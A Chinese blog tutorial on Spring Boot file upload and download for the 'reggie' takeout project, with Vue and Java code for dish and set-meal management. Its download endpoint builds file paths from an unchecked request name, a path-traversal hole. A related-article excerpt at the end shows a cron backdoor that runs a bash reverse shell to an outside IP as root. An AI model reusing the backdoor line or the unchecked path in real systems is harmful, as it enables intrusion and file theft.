Springboot——文件的上传与下载(reggie)

news2024/10/5 13:24:10

目录

一、文件上传——upload

1.1 介绍

1.2 前端代码实现

1.3 后端代码实现

二、文件下载——download

2.1 介绍

2.2  前端代码编写

2.3 后端代码编写

三、 前端总代码

四、 应用场景

4.1  数据库表

4.1.1  菜品表

4.1.2 菜品口味表

4.1.3 菜品分类及菜品套餐表

4.2 实体类

4.2.1 菜品实体类

4.2.2 菜品口味实体类

4.2.3 菜品分类及菜品套餐实体类

4.3 新增菜品

4.3.1   菜品分类下拉框

4.3.2 封装DTO

4.3.3 添加菜品

4.4  菜品分页查询

4.4.1 构建DTO

4.4.2 菜品分页查询

4.5 修改菜品功能

4.5.1  数据回显操作

4.5.2 修改菜品信息

五、 新增套餐功能

5.1 数据库对应表

5.1.1 套餐表 setmeal

5.1.2  套餐菜品关系表

5.2 实体类

5.2.1 套餐实体类

5.2.2 套餐菜品关系类

5.3  新增菜品

5.3.1 根据分类查询菜品

5.3.2 封装DTO

5.3.3 新增套餐操作

5.4 分页查询

5.5  删除套餐与批量删除套餐


 

一、文件上传——upload

1.1 介绍

   将本地图片、视频、音频等文件上传到服务器上,可以供其他用户浏览或下载的过程

   

   文件上传时,对页面的form表单有如下要求:

  •        method="post"                                 采用post方式提交数据 
  •        encttype=""multipart/form-data"    采用multipart格式上传文件
  •        type="file"                                         使用input的file空间上传

 

   服务端接收客户端页面上传的文件时,通常会使用Apache的两个组件:

  •   commons-fileupload
  •   commons-io   (对文件的操作本质上还是对流的操作)

   Spring框架在sprin-web包中对文件上传进行了封装,大大简化了服务端代码,我们只需要在Controller方法中声明一个MultipartFile类型的参数即可接收上传的文件

1.2 前端代码实现

  使用的element-ui组件进行实现,这段代码的编写既有上传,也有下载,其中:src就是下载图片

        <el-upload class="avatar-uploader"
                action="/common/upload"
                :show-file-list="false"
                :on-success="handleAvatarSuccess"
                :before-upload="beforeUpload"
                ref="upload">
            <img v-if="imageUrl" :src="imageUrl" class="avatar"></img>
            <i v-else class="el-icon-plus avatar-uploader-icon"></i>
        </el-upload>
  •     action="/common/upload"    代表controller层的请求路径

1.3 后端代码实现

我们可以先发一个请求查看一下MultipartFile对象里面包括什么

 我们仔细看发现了一个存储路径,也就是说当前传过来的文件被存储在了一个临时的位置(临时目录),我们要做的就是把这个文件存储到一个指定的位置。如果不转存的话,当我们此次请求结束后,这个文件就不存在了。

我们在请求成功后返回了图片的文件名+后缀名,目的就是为了下载图片的时候将图片名称传过去然后找到对应的图片

/**
 * 文件的上传和下载
 */
@RestController
@RequestMapping("/common")
@Slf4j
public class CommonController {

    @Value("${reggie.path}")
    private String basePath;

    /**
     * 文件上传
     *
     * @param file 是一个临时文件,需要转存的指定的位置,否则本次请求后此文件就会消失
     * @return
     */
    @PostMapping("/upload")
    public R<String> upload(MultipartFile file) throws IOException {
        log.info("上传文件:{}", file.toString());

//      1.拼接转存的位置
//      获取文件的原始名
        String originalFilename = file.getOriginalFilename();   //abc.jpg
//      文件名后缀
        String suffix = originalFilename.substring(originalFilename.lastIndexOf("."));

//       也可以使用UUID生成文件名,防止文件名称重复导致覆盖原文件
        String filename = UUID.randomUUID().toString();   //缺少后缀

        String url= basePath + filename+suffix;


//      2. 判断转存的目录是否存在
//         File既可以代表一个目录,又可以代表一个文件
        File dir = new File(basePath);
//         判断当前目录是否存在
        if (!dir.exists()){
//          不存在的时候进行创建
            dir.mkdirs();
        }

//      转存临时文件到指定的位置  参数是一个URL路径
        file.transferTo(new File(url));

        return R.success(filename+suffix);
    }

}

二、文件下载——download

2.1 介绍

        指将文件从服务器传输到本地计算机的过程。

通过浏览器进行文件下载,通常有两种表现形式:

  •   以附件形式下载,弹出保存对话框,将文件保存到指定磁盘目录
  •   直接在浏览器中打开

通过浏览器进行文件下载,本质上就是服务端将文件以流的形式写会浏览器的过程。

2.2  前端代码编写

<img v-if="imageUrl" :src="imageUrl" class="avatar"></img>

 

2.3 后端代码编写

  /**
     * 文件下载
     *
     * @param name     图片名
     * @param response 图片要通过响应流获得
     */
    @GetMapping("/download")
    public void download(String name, HttpServletResponse response) throws IOException {
//      0. 设置文件格式
        response.setContentType("image/jpeg");

//      1. 输入流,通过输入流读取文件内容
        FileInputStream fileInputStream = new FileInputStream(new File(basePath + name));


//      2. response输出流,将文件写回浏览器
        ServletOutputStream outputStream = response.getOutputStream();

        int len = 0;
        byte[] bytes = new byte[1024];
        while ((len = fileInputStream.read(bytes)) != -1) {
            outputStream.write(bytes, 0, len);
            outputStream.flush();
        }

//      3.关闭流
        outputStream.close();
        fileInputStream.close();


    }

三、 前端总代码

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>文件上传</title>
  <!-- 引入样式 -->
  <link rel="stylesheet" href="../../plugins/element-ui/index.css" />
  <link rel="stylesheet" href="../../styles/common.css" />
  <link rel="stylesheet" href="../../styles/page.css" />
</head>
<body>
   <div class="addBrand-container" id="food-add-app">
    <div class="container">
        <el-upload class="avatar-uploader"
                action="/common/upload"
                :show-file-list="false"
                :on-success="handleAvatarSuccess"
                :before-upload="beforeUpload"
                ref="upload">
            <img v-if="imageUrl" :src="imageUrl" class="avatar"></img>
            <i v-else class="el-icon-plus avatar-uploader-icon"></i>
        </el-upload>
    </div>
  </div>
    <!-- 开发环境版本,包含了有帮助的命令行警告 -->
    <script src="../../plugins/vue/vue.js"></script>
    <!-- 引入组件库 -->
    <script src="../../plugins/element-ui/index.js"></script>
    <!-- 引入axios -->
    <script src="../../plugins/axios/axios.min.js"></script>
    <script src="../../js/index.js"></script>
    <script>
      new Vue({
        el: '#food-add-app',
        data() {
          return {
            imageUrl: ''
          }
        },
        methods: {
          handleAvatarSuccess (response, file, fileList) {
              this.imageUrl = `/common/download?name=${response.data}`
          },
          beforeUpload (file) {
            if(file){
              const suffix = file.name.split('.')[1]
              const size = file.size / 1024 / 1024 < 2
              if(['png','jpeg','jpg'].indexOf(suffix) < 0){
                this.$message.error('上传图片只支持 png、jpeg、jpg 格式!')
                this.$refs.upload.clearFiles()
                return false
              }
              if(!size){
                this.$message.error('上传文件大小不能超过 2MB!')
                return false
              }
              return file
            }
          }
        }
      })
    </script>
</body>
</html>

四、 应用场景

4.1  数据库表

4.1.1  菜品表

 

4.1.2 菜品口味表

4.1.3 菜品分类及菜品套餐表

4.2 实体类

4.2.1 菜品实体类

/**
 菜品
 */
@Data
public class Dish implements Serializable {

    private static final long serialVersionUID = 1L;

    private Long id;


    //菜品名称
    private String name;


    //菜品分类id
    private Long categoryId;


    //菜品价格
    private BigDecimal price;


    //商品码
    private String code;


    //图片
    private String image;


    //描述信息
    private String description;


    //0 停售 1 起售
    private Integer status;


    //顺序
    private Integer sort;


    @TableField(fill = FieldFill.INSERT)
    private LocalDateTime createTime;


    @TableField(fill = FieldFill.INSERT_UPDATE)
    private LocalDateTime updateTime;


    @TableField(fill = FieldFill.INSERT)
    private Long createUser;


    @TableField(fill = FieldFill.INSERT_UPDATE)
    private Long updateUser;


    //是否删除
    private Integer isDeleted;


}

4.2.2 菜品口味实体类

@Data
public class DishFlavor implements Serializable {

    private static final long serialVersionUID = 1L;

    private Long id;


    //菜品id
    private Long dishId;


    //口味名称
    private String name;


    //口味数据list
    private String value;


    @TableField(fill = FieldFill.INSERT)
    private LocalDateTime createTime;


    @TableField(fill = FieldFill.INSERT_UPDATE)
    private LocalDateTime updateTime;


    @TableField(fill = FieldFill.INSERT)
    private Long createUser;


    @TableField(fill = FieldFill.INSERT_UPDATE)
    private Long updateUser;


    //是否删除
    private Integer isDeleted;

}

4.2.3 菜品分类及菜品套餐实体类

@Data
public class Category implements Serializable {

    private static final long serialVersionUID = 1L;

    private Long id;


    //类型 1 菜品分类 2 套餐分类
    private Integer type;


    //分类名称
    private String name;


    //顺序
    @TableField("sort")
    private Integer sort;


    //创建时间
    @TableField(value = "create_time",fill = FieldFill.INSERT)
    private LocalDateTime createTime;


    //更新时间
    @TableField(value = "update_time",fill = FieldFill.INSERT_UPDATE)
    private LocalDateTime updateTime;


    //创建人
    @TableField(value = "create_user",fill = FieldFill.INSERT)
    private Long createUser;


    //修改人
    @TableField(value = "update_user",fill = FieldFill.INSERT_UPDATE)
    private Long updateUser;


    //是否删除
//    @TableField(value = "is_deleted")
//    private Integer isDeleted;

}


4.3 新增菜品

说明:

   1.  页面发送ajax请求,请求服务端获取菜品分类数据并展示到下拉框中

   2.  页面发送请求进行图片上传,请求服务端将图片保存到服务器

   3.  页面发送请求进行图片下载,将上传的图片进行回显

   4.  点击保存按钮,发送ajax请求将菜品相关信息保存到数据库

  重要点: 价格是以分为单位!!!!!!!!  防止精度缺失!!!!!!!

4.3.1   菜品分类下拉框

不是说看见对象就用@RequestBody注解,而是看前端是否提交过来的是json数据,后端用对象来接收才用@RequestBody注解

前端提交过来的得是json格式的数据才用@RequestBody注解

因为这个是前端页面直接通过请求地址提交过来的type,所以不需要使用@RequestBody注解

   那我们这里为什么要使用一个Category对象来进行接收呢?

      防止前端以后再传入其他参数,所以我们直接用整个Category进行接收

    /**
     * @param category 这个地方我们没有选择声明一个String的type接收,而是选择一个实体类,
     *                 原因是防止以后前端再转过来其他的参数,我们还要再修改这个地方
     *                 总的来说就是通用性更强
     * @return
     */
    @GetMapping("/list")
    public R<List<Category>> list(Category category) {
        log.info("获取菜品分类的下拉列表");
        LambdaQueryWrapper<Category> queryWrapper = new LambdaQueryWrapper<>();
        queryWrapper.eq(category.getType() != null, Category::getType, category.getType());
        queryWrapper.orderByAsc(Category::getSort).orderByDesc(Category::getUpdateTime);

        List<Category> list = categoryService.list(queryWrapper);
        return R.success(list);
    }

4.3.2 封装DTO

  DTO:全称Data Transfer Object ,即数据传输对象,一般用于展示层与服务层之间的数据传输。

我们可以自己看一下这些请求参数,我们并没有一个类能完整的接收这些参数,所以我们要创建一个类来进行接收 

@Data
public class DishDto extends Dish {

    private List<DishFlavor> flavors = new ArrayList<>();

    private String categoryName;

    private Integer copies;
}

       子类不能继承父类的私有属性,但是如果子类中公有的方法影响到了父类私有属性,那么私有属性是能够被子类使用的

4.3.3 添加菜品

          因为同时操作两张表,开启事务可以保证两张表,同时操作成功或者失败,不然第一个表操作成功后如果出现异常,第二张会操作失败,这样数据就出问题了

    @Override
    @Transactional  // 操作多张表,加一个事物的处理 ,记得在启动类添加一个EnableTransactionManagement
    public void saveWithFlavor(DishDto dishDto) {
//     保存菜品的基本信息到菜品表dish
        this.save(dishDto);
//     保存菜品口味数据到菜品口味表dish_flavor
//          但是我们刚刚分析的时候知识封装了name与value, id与dishId没有封装
        Long dishId = dishDto.getId();
        List<DishFlavor> dishFlavorList = dishDto.getFlavors();
        dishFlavorList = dishFlavorList.stream().map((item) -> {
            item.setDishId(dishId);
            return item;
        }).collect(Collectors.toList());

//      传入集合,批量保存
        dishFlavorService.saveBatch(dishFlavorList);
    }

4.4  菜品分页查询

  与之前分页查询的不同就是加入了图片下载

1. 页面发送ajax请求,将分页查询参数提交到服务端,获取分页数据

2. 页面发送请求,请求服务端进行图片下载,用于图片展示

 总共两次请求

4.4.1 构建DTO

   注意看下图中标红的地方,我们需要的是一个菜品分类的名称,而不是一个id,所以我们现有的Dish实体类无法直接返回到前端,要进行处理

   我们之前创建的DishDTO就很符合要求


4.4.2 菜品分页查询

  这个地方有两个点,一个是数据的Copy,另一个是数据Copy要忽略records,具体原因代码中有详细解释


    @GetMapping("/page")
    public R<Page<DishDto>> page(int page, int pageSize, String name) {

        Page<Dish> pageInfo = new Page<>(page, pageSize);
        LambdaQueryWrapper<Dish> queryWrapper = new LambdaQueryWrapper();
        queryWrapper.like(Strings.isNotEmpty(name),Dish::getName,name);
        queryWrapper.orderByDesc(Dish::getUpdateTime);

         dishService.page(pageInfo, queryWrapper);

        Page<DishDto> dishDtoPage = new Page<>();

//      进行对象的拷贝  如果再加入第三个参数,就是在拷贝时要忽略的参数,比如我们这里就要忽略 "records"参数
//         这个地方我们为什么要忽略呢?
//           不忽略的话,我们下面运行会出现     com.reggie_take_out.entity.Dish cannot be cast to com.reggie_take_out.dto.DishDto
        BeanUtils.copyProperties(pageInfo,dishDtoPage,"records");

//      将菜品的id改为菜品名
        List<Dish> records = pageInfo.getRecords();

        List<DishDto> dishDtoList = records.stream().map((item) -> {
            DishDto dishDto = new DishDto();
            BeanUtils.copyProperties(item,dishDto);

            Long categoryId = item.getCategoryId();
            Category category = categoryService.getById(categoryId);

            dishDto.setCategoryName(category.getName());

            return dishDto;
        }).collect(Collectors.toList());


        dishDtoPage.setRecords(dishDtoList);

        return R.success(dishDtoPage);
    }

4.5 修改菜品功能

 1. 页面发送ajax请求,获取分类数据,用于分类下拉框数据展示 (之前已经实现 )

 2. 页面发送ajax请求,根据id查询当前菜品的信息,用于菜品信息回显 

 3. 页面发送请求,请求服务端进行图片下载,用于图片回显(之前已经实现)

 4. 点击保存按钮,页面发送ajax请求,将修改后的菜品相关数据以JSON形式提交到服务端

4.5.1  数据回显操作

    在方框内的数据都需要回显,明显Dish实体类不够用,所以不能返回Dish实体类。

    依旧使用我们之前的DishDto类。  新增功能时的请求体的接收类与数据回显操作时返回数据的类是同一个。


@Data
public class DishDto extends Dish {

    private List<DishFlavor> flavors = new ArrayList<>();

    private String categoryName;

    private Integer copies;
}
    @Override
    public DishDto getByIdWithFlavor(Long id) {
        //备用
        DishDto dishDto = new DishDto();

        //查询菜品基本信息,从dish表查询
        Dish dish = this.getById(id);

        BeanUtils.copyProperties(dish,dishDto);

        //查询当前菜品对应的口味信息,从dish_flavor表查询
        LambdaQueryWrapper<DishFlavor> queryWrapper = new LambdaQueryWrapper<>();
        queryWrapper.eq(DishFlavor::getDishId,dish.getId());
        List<DishFlavor> dishFlavorList = dishFlavorService.list(queryWrapper);

        dishDto.setFlavors(dishFlavorList);

        return dishDto;
    }

4.5.2 修改菜品信息

  参照新增菜品进行修改即可

    @Override
    public void updateWithFlavor(DishDto dishDto) {
//       1.更新菜品表基本信息   因为DishDTO是Dish的子类,所以传进去是没有问题的
         this.updateById(dishDto);

//       2. 更新口味表基本信息
         LambdaQueryWrapper<DishFlavor> queryWrapper = new LambdaQueryWrapper<>();
         queryWrapper.eq(DishFlavor::getDishId,dishDto.getId());
         dishFlavorService.remove(queryWrapper);
//           有个简便方式,将当前菜品的口味数据删除,然后将此次修改后的直接添加即可

//        从dto中获取口味表
        List<DishFlavor> flavors = dishDto.getFlavors();
//         因为从前端传过来的时候只有name与value ,所以我们需要再改变一下flavors
        flavors = flavors.stream().map((item) -> {
            item.setDishId(dishDto.getId());
            return item;
        }).collect(Collectors.toList());
//      传入集合,批量保存
        dishFlavorService.saveBatch(flavors);

    }

五、 新增套餐功能

5.1 数据库对应表

5.1.1 套餐表 setmeal

 

 

5.1.2  套餐菜品关系表

 

 

5.2 实体类

5.2.1 套餐实体类

/**
 * 套餐
 */
@Data
public class Setmeal implements Serializable {

    private static final long serialVersionUID = 1L;

    private Long id;


    //分类id
    private Long categoryId;


    //套餐名称
    private String name;


    //套餐价格
    private BigDecimal price;


    //状态 0:停用 1:启用
    private Integer status;


    //编码
    private String code;


    //描述信息
    private String description;


    //图片
    private String image;


    @TableField(fill = FieldFill.INSERT)
    private LocalDateTime createTime;


    @TableField(fill = FieldFill.INSERT_UPDATE)
    private LocalDateTime updateTime;


    @TableField(fill = FieldFill.INSERT)
    private Long createUser;


    @TableField(fill = FieldFill.INSERT_UPDATE)
    private Long updateUser;


    //是否删除
//    private Integer isDeleted;
}

5.2.2 套餐菜品关系类


/**
 * 套餐菜品关系
 */
@Data
public class SetmealDish implements Serializable {

    private static final long serialVersionUID = 1L;

    private Long id;


    //套餐id
    private Long setmealId;


    //菜品id
    private Long dishId;


    //菜品名称 (冗余字段)
    private String name;

    //菜品原价
    private BigDecimal price;

    //份数
    private Integer copies;


    //排序
    private Integer sort;


    @TableField(fill = FieldFill.INSERT)
    private LocalDateTime createTime;


    @TableField(fill = FieldFill.INSERT_UPDATE)
    private LocalDateTime updateTime;


    @TableField(fill = FieldFill.INSERT)
    private Long createUser;


    @TableField(fill = FieldFill.INSERT_UPDATE)
    private Long updateUser;


    //是否删除
    private Integer isDeleted;
}

5.3  新增菜品

梳理前后端交互的过程:

   

    1.   页面发送ajax请求,请求服务端获取套餐分类数据并展示到下拉框中

    2.   页面发送ajax请求,请求服务端获取菜品分类数据并展示到添加菜品窗口中

    3.   页面发送ajax请求,请求服务端,根据菜品分类查询对应的菜品数据并展示到添加菜品窗口中

    4.    页面发送请求图片上传

    5.    页面发送请求图片下载

    6.   保存按钮发送ajax请求,将套餐相关数据以JSON形式提交到服务端

 

 

5.3.1 根据分类查询菜品

    /**
     * 根据条件查询对应的菜品数据
     * <p>
     * 传入一个Dish对象 比传入一个 categoryId通用性更好
     *
     * @param dish
     * @return
     */
    @GetMapping("/list")
    public R<List<Dish>> list(Dish dish) {
        LambdaQueryWrapper<Dish> queryWrapper = new LambdaQueryWrapper<>();
        queryWrapper.eq(dish.getCategoryId() != null, Dish::getCategoryId, dish.getCategoryId())
//               起售
                .eq(Dish::getStatus, 1)
                .orderByAsc(Dish::getSort).orderByDesc(Dish::getUpdateTime);
        List<Dish> dishList = dishService.list(queryWrapper);

        return R.success(dishList);
    }

 

5.3.2 封装DTO

@Data
public class SetmealDto extends Setmeal {

    private List<SetmealDish> setmealDishes;

    private String categoryName;
}

5.3.3 新增套餐操作

    /**
     *  新增套餐,同时需要保存套餐和菜品的关联关系
     * @param setmealDto
     */
    @Override
    @Transactional
    public void saveWithDish(SetmealDto setmealDto) {
//     保存套餐的基本信息,操作setmeal,执行insert操作
        this.save(setmealDto);

//     保存套餐和菜品的关联信息,操作setmeal_dish,执行insert操作
//        还是和之前一样,这个里面存的只有dishId,setmealId是没有的,所以我们要加上

        List<SetmealDish> setmealDishList = setmealDto.getSetmealDishes();

        List<SetmealDish> collect = setmealDishList.stream().map((item) -> {
            item.setSetmealId(setmealDto.getId());
            return item;
        }).collect(Collectors.toList());

        boolean b = setmealDishService.saveBatch(collect);

    }

5.4 分页查询

 @GetMapping("/page")
    public R<Page> page(int page,int pageSize,String name){
        Page<Setmeal> pageInfo = new Page<>(page,pageSize);

        LambdaQueryWrapper<Setmeal> queryWrapper = new LambdaQueryWrapper<>();
        queryWrapper.like(name !=null,Setmeal::getName,name)
                .orderByDesc(Setmeal::getUpdateTime);

        setmealService.page(pageInfo,queryWrapper);

//       对线拷贝
        Page<SetmealDto> setmealDtoPage = new Page<>();

        BeanUtils.copyProperties(pageInfo,setmealDtoPage,"records");
        List<Setmeal> records = pageInfo.getRecords();

        List<SetmealDto> collect = records.stream().map((item) -> {
            SetmealDto setmealDto = new SetmealDto();

            BeanUtils.copyProperties(item, setmealDto);

            setmealDto.setCategoryName(item.getName());


            return setmealDto;
        }).collect(Collectors.toList());

        setmealDtoPage.setRecords(collect);

        return  R.success(setmealDtoPage);

    }

 

这个地方的套餐分类得益于我们在数据库中的冗余字段,不必再让我们查询数据库 

 

5.5  删除套餐与批量删除套餐


    /**
     * 删除套餐,同时删除套餐和菜品的关联数据
     *   只有停售的套餐才能够删除
     * @param ids
     */
    @Override
    @Transactional
    public void removeWithDish(List<Long> ids) {
//      查询套餐的状态,看是否可以删除
        LambdaQueryWrapper<Setmeal> lambdaQueryWrapper = new LambdaQueryWrapper();
        lambdaQueryWrapper.in(Setmeal::getId,ids)
//              说明在售卖中
                .eq(Setmeal::getStatus,1);

        int count = this.count(lambdaQueryWrapper);

//      不能删除抛出异常
        if (count>0){
            throw  new CustomException("正在售卖中,不能删除");
        }
//      可以删除,先删除套餐表中的数据
        this.removeByIds(ids);

//      删除关系表中的数据
        LambdaQueryWrapper<SetmealDish>  queryWrapper = new LambdaQueryWrapper<>();
        queryWrapper.in(SetmealDish::getSetmealId,ids);

        setmealDishService.remove(queryWrapper);

    }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/421401.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【GitHub Copilot X】基于GPT-4的全新智能编程助手

文章目录一、前言1.1 编程助手的重要性和历史背景1.2 Copilot X 的背景和概览1.3 Copilot X 的核心技术二、自然语言处理技术的发展和现状2.1 GPT-4 技术的基本原理和应用场景2.2 Copilot X 如何利用 GPT-4 进行智能编程2.3 Copilot X 的特点和优点三、比较 Copilot X 和传统编…

Vue组件的通信方式有哪些?

文章目录组件间通信的概念组件间通信解决了什么&#xff1f;组件间通信的分类组件间通信的方案props传递数据$emit 触发自定义事件refEventBus$parent 或 $root$attrs 与 $listenersprovide 与 injectvuex小结组件间通信的概念 开始之前&#xff0c;我们把组件间通信这个词进行…

ChatGPT背后有哪些关键技术?CSIG企业行带你一探究竟

目录1 ChatGPT的时代2 CSIG企业行3 议题&嘉宾介绍3.1 对生成式人工智能的思考3.2 对话式大型语言模型研究3.3 文档图像处理中的底层视觉技术4 观看入口1 ChatGPT的时代 2015年&#xff0c;马斯克、美国创业孵化器Y Combinator总裁阿尔特曼、全球在线支付平台PayPal联合创始…

一文总结经典卷积神经网络CNN模型

一般的DNN直接将全部信息拉成一维进行全连接&#xff0c;会丢失图像的位置等信息。 CNN&#xff08;卷积神经网络&#xff09;更适合计算机视觉领域。下面总结从1998年至今的优秀CNN模型&#xff0c;包括LeNet、AlexNet、ZFNet、VGG、GoogLeNet、ResNet、DenseNet、SENet、Sque…

11万字数字政府智慧政务大数据建设平台(大数据底座、数据治理)

本资料来源公开网络&#xff0c;仅供个人学习&#xff0c;请勿商用&#xff0c;如有侵权请联系删除。部分资料内容&#xff1a; 一.1.1 数据采集子系统 数据采集需要实现对全区各委办单位的数据采集功能&#xff0c;包括离线采集、准实时采集和实时采集的采集方式&#xff0c;根…

【云原生】Kubernetes(k8s)之容器的探测

Kubernetes&#xff08;k8s&#xff09;之容器的探测一、探测类型及使用场景1.1、startupProbe&#xff08;启动探测&#xff09;1.2、readinessProbe&#xff08;就绪探测&#xff09;1.3、livenessProbe&#xff08;存活探测&#xff09;二、检查机制三、探测结果四、容器探测…

Springboot是怎么解决跨域问题的?

什么是跨域&#xff1f;简单理解&#xff0c;就是在不前网页下&#xff0c;试图访问另外一个不同域名下的资源时&#xff0c;受到浏览器同源策略的限制&#xff0c;而无法正常获取数据的情况&#xff1b;什么是同源策略同源策略是浏览器出于安全考虑而制定的一种限制资源访问的…

C++输入输出、缺省参数、函数重载【C++初阶】

目录 一、C输入&输出 二、缺省参数 1、概念 2、分类 &#xff08;1&#xff09;全缺省 &#xff08;2&#xff09;半缺省 三、函数重载 1、概念 2、原理------名字修饰 一、C输入&输出 在C语言中&#xff0c;我们常用printf和scanf这两个函数进行输入输出。 …

【权限维持】LinuxRootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

Vue插槽理解

Vue插槽理解插槽插槽 slot又名插槽&#xff0c;vue内容分发机制&#xff0c;组件内部的模板引擎使用slot元素作为承载分发内容的出口 插槽slot是子组件的一个模板标签元素&#xff0c;而这一个元素是否显示&#xff0c;以及怎么显示是由父组件决定的 slot分为三类&#xff1a;默…

【Java】Maven是什么?手把手先创建个Maven项目

&#x1f680;Java程序员必备的项目管理工具——Maven &#x1f4d3;推荐网站(不断完善中)&#xff1a;个人博客 &#x1f4cc;个人主页&#xff1a;个人主页 &#x1f449;相关专栏&#xff1a;CSDN相关专栏 &#x1f3dd;立志赚钱&#xff0c;干活想躺&#xff0c;瞎分享的摸…

线程池技术

线程池技术是一种典型的生产者-消费者模型。 线程池技术是指能够保证所创建的任一线程都处于繁忙状态&#xff0c;而不需要频繁地为了某一任务而创建和销毁线程&#xff0c;因为系统在创建和销毁线程时所耗费的cpu资源很大。如果任务很多&#xff0c;频率很高&#xff0c;为了…

站上风口,文心一言任重道远

目录正式发布时机选择逻辑推理AI绘画用户选择总结自从OpenAI公司的chatGPT发布以来&#xff0c;吸引了全球目光&#xff0c;同时也引起了我们的羡慕&#xff0c;希望有国产的聊天机器人&#xff0c;盼星星盼月亮&#xff0c;终于等来了百度文心一言的发布。 正式发布 3月16日…

VUE3项目实现动态路由demo

文章目录1、创建vue项目2、安装常用的依赖2.1 安装elementUI2.2 安装axios2.3 安装router2.4 安装vuex2.5 安装store2.6 安装mockjs3、编写登录页面以及逻辑4、编写首页以及逻辑5、配置router.js6、配置store.js7、配置menuUtils.js&#xff08;动态路由重点&#xff09;8、配置…

像ChatGPT玩转Excel数据

1.引言 最近ChatGPT的出现&#xff0c;把人工智能又带起了一波浪潮。机器人能否替代人类又成了最近热门的话题。 今天我们推荐的一个玩法和ChatGPT有点不一样。我们的课题是“让用户可以使用自然语言从Excel查询到自己想要的数据”。 要让自然语言可以从Excel中查数据&#…

论文阅读笔记《Joint Graph Learning and Matching for Semantic Feature Correspondence》

核心思想 本文提出一种联合图学习和图匹配的算法&#xff08;GLAM&#xff09;&#xff0c;将图的构建和匹配过程整合到一个端到端的注意力网络中。相比于其他启发式的建图方法&#xff0c;如Delaunay三角法、KNN方法或完全图&#xff0c;通过学习构建的图结构能够更加准确的反…

配置pytorch(gpu)分析环境

Pytorch是目前最火的深度学习框架之一&#xff0c;另一个是TensorFlow。不过我之前一直用到是CPU版本&#xff0c;几个月前买了一台3070Ti的笔记本&#xff08;是的&#xff0c;我在40系显卡出来的时候&#xff0c;买了30系&#xff0c;这确实一言难尽&#xff09;&#xff0c;…

【AutoGPT】你自己运行,我先睡了—— ChatGPT过时了吗?

系列文章目录 【AI绘画】Midjourney和Stable Diffusion教程_山楂山楂丸的博客-CSDN博客 目录 系列文章目录 前言 一、AutoGPT是什么&#xff1f; 二、AutoGPT带来的利弊 三、AutoGPT和ChatGPT区别 四、未来 总结 前言 ChatGPT是否过时&#xff1f;AutoGPT的兴起&#…

【数字图像处理】空间滤波

文章目录1. 概述2 低通&#xff08;平滑&#xff09;滤波2.1 均值滤波2.2 中值滤波2.3 高斯低通滤波2.4 双边滤波2.5 导向滤波3 高通&#xff08;锐化&#xff09;滤波3.1 Laplacian滤波器3.3 Sobel滤波器1. 概述 图像空间滤波是一种常用的图像处理技术&#xff0c;用于改变图…

基于OpenCV的人脸识别

目录 &#x1f969; 前言 &#x1f356; 环境使用 &#x1f356; 模块使用 &#x1f356; 模块介绍 &#x1f356; 模块安装问题: &#x1f969; OpenCV 简介 &#x1f356; 安装 OpenCV 模块 &#x1f969; OpenCV 基本使用 &#x1f356; 读取图片 &#x1f357; 【…